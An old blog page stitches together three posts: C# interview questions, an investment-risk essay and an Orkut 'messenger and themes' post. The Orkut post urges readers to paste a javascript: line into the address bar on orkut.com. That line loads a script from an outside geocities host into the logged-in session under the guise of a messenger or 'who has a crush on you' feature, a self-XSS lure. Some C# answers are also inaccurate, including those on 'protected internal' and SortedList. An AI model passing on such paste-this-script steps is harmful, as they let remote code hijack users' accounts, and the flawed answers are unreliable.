Tuesday, May 13, 2008

c# interview questions

Does C# support multiple-inheritance?
No.

Who is a protected class-level variable available to?
It is available to any sub-class (a class inheriting this class).

Are private class-level variables inherited?
Yes, but they are not accessible. Although they are not visible or accessible via the class interface, they are inherited.

Describe the accessibility modifier “protected internal”.
It is available to classes that are within the same assembly and derived from the specified base class.

What’s the top .NET class that everything is derived from?
System.Object.

What does the term immutable mean?
The data value may not be changed. Note: The variable value may be changed, but the original immutable data value was discarded and a new data value was created in memory.

What’s the difference between System.String and System.Text.StringBuilder classes?
System.String is immutable. System.StringBuilder was designed with the purpose of having a mutable string where a variety of operations can be performed.

What’s the advantage of using System.Text.StringBuilder over System.String?
StringBuilder is more efficient in cases where there is a large amount of string manipulation. Strings are immutable, so each time a string is changed, a new instance in memory is created.

Can you store multiple data types in System.Array?
No.

What’s the difference between the System.Array.CopyTo() and System.Array.Clone()?
The Clone() method returns a new array (a shallow copy) object containing all the elements in the original array. The CopyTo() method copies the elements into another existing array. Both perform a shallow copy. A shallow copy means the contents (each array element) contains references to the same object as the elements in the original array. A deep copy (which neither of these methods performs) would create a new instance of each element's object, resulting in a different, yet identacle object.

How can you sort the elements of the array in descending order?
By calling Sort() and then Reverse() methods.

What’s the .NET collection class that allows an element to be accessed using a unique key?
HashTable.

What class is underneath the SortedList class?
A sorted HashTable.

Will the finally block get executed if an exception has not occurred?­
Yes.

What happens in memory when you Box and Unbox a value-type?
Boxing converts a value-type to a reference-type, thus storing the object on the heap. Unboxing converts a reference-type to a value-type, thus storing the value on the stack.

Orkut Messenger And Orkut Themes

Orkut Messenger And Orkut Themes



Follow The 3 Steps To Download Orkut Messenger On Your Profile.
Just Copy The Javascript Below


javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://www.geocities.com/orkutmess00/messenger.js';void(0)

  1. Go Back To Orkut & Clear your address bar and paste this javascript in your address bar (where you type www.orkut.com).
  2. Go To this page:- http://www.orkut.com/GoogleTalkSettings.aspx and click on the new option of activating messanger. (This option will only appear if you run the script for 2 minutes)

If You Know the gmail id of your friend add them and start chating.






















Follow The 2 Steps To know who has crush on you in ur friend list!!!!
  1. Just Copy The Javascript Below


  2. Go Back To Orkut & Clear your address bar and paste this javascript in your address bar (where you type www.orkut.com). Wait For 2 Minutes Till it finds your friends who have crush on you






Follow The 2 Steps To Get Sharhrukh Khan's Theme On Your Orkut Profile!!!!
  1. Just Copy The Javascript Below


  2. Go Back To Orkut & Clear your address bar and paste this javascript in your address bar (where you type www.orkut.com). Wait For 2 Minutes Till Theme is Applied.







Follow The 2 Steps To Get Ipl Theme On Your Orkut Profile!!!!
  1. Just Copy The Javascript Below


  2. Go Back To Orkut & Clear your address bar and paste this javascript in your address bar (where you type www.orkut.com). Wait For 2 Minutes Till Theme is Applied.





Follow The 3 Steps To Get Spidey Theme On Your Orkut Profile!!!!
  1. Just Copy The Javascript Below


  2. Go Back To Orkut & Clear your address bar and paste this javascript in your address bar (where you type www.orkut.com). Wait For 2 Minutes Till Theme is Applied.





































More Tricks Will Be Introduced Soon. Till Then Enjoy!!!

Monday, July 16, 2007

Find out your IQ - Investment Quotient

Find out your IQ - Investment Quotient

What is stock market, is it speculation den or place to invest and create wealth? Answer to this lies in how we deal with it. If we consider stock market as place to make fast/quick money, it is speculation den. When equities rise most of us feel that to make money we should follow “high risk, high return” strategy. In reality we are following “high return, high risk” strategy. If we push our mind we will find subtle but important difference.

Does high-risk mean high return?

If we are feeling that by taking high risk we will “necessarily” get high return, we are kidding ourselves. Word risk means probability of loosing money. High risk means high probability of loosing money. Therefore if you are willing to accept high probability of loosing money, you ‘may’ get high returns. In long run – over a period of 7/9 years – equity markets are place to get high return with low risk. On the other hand any kind of speculation is high risk, low (no) return game.

Are you a speculator?

Another litmus test to find out whether we are considering stock market as speculation den or place to create wealth is the way we get anxious about our investments. If our investment horizon is more than 7/9 years away, we will not panic even if equity market falls for 7 months. On the other hand if we are speculating, 7 bad days/weeks will give us anxieties. If 7 days/weeks fall give us anxiety, we are in speculation mode.

Lastly, if we start asking anyone who even remotely uses letter “s” of stock market, his/her views on near term movement of equity market, we are in speculating mode. We want to inquire about the near term movement because – irrespective of what we say - we have purchased equity for short term. This is giving anxiety and we want someone – whom we want to consider as an expert – give us assurance. The way no one can predict the outcome of speculation, in near term no one can predict movement of equities.

Reason to discuss above behavior is because as human beings, we are intelligent breed and we do not allow ourselves to admit we are speculators. Therefore it is important to consider above and verify whether we are considering stock market speculation den or place to create wealth.

How to earn high returns?

Rome was not built in a day. No matter how hard we try, we will not be able to create wealth quickly. It will take decades before “stable” wealth is created. Invest in equities if your financial goals are more than 7/9 years away. You may either invest directly into equity markets, if you have the skill and time. Alternatively consider equity mutual funds. In last couple of years we have got equity mutual funds with varied investment philosophies e.g. index funds, large cap funds, mid-small cap funds and contrarian funds. Soon we will have global equity funds. Mutual funds allow ease of operation, diversification, professional approach etc. You can invest in these funds either lump sum or you may also consider investing in a systematic way over a period of time.

DOWNLOAD BOOKS, PDF's ,REPORTS,

SEND FREE SMS


Free SMS to India

Search

Google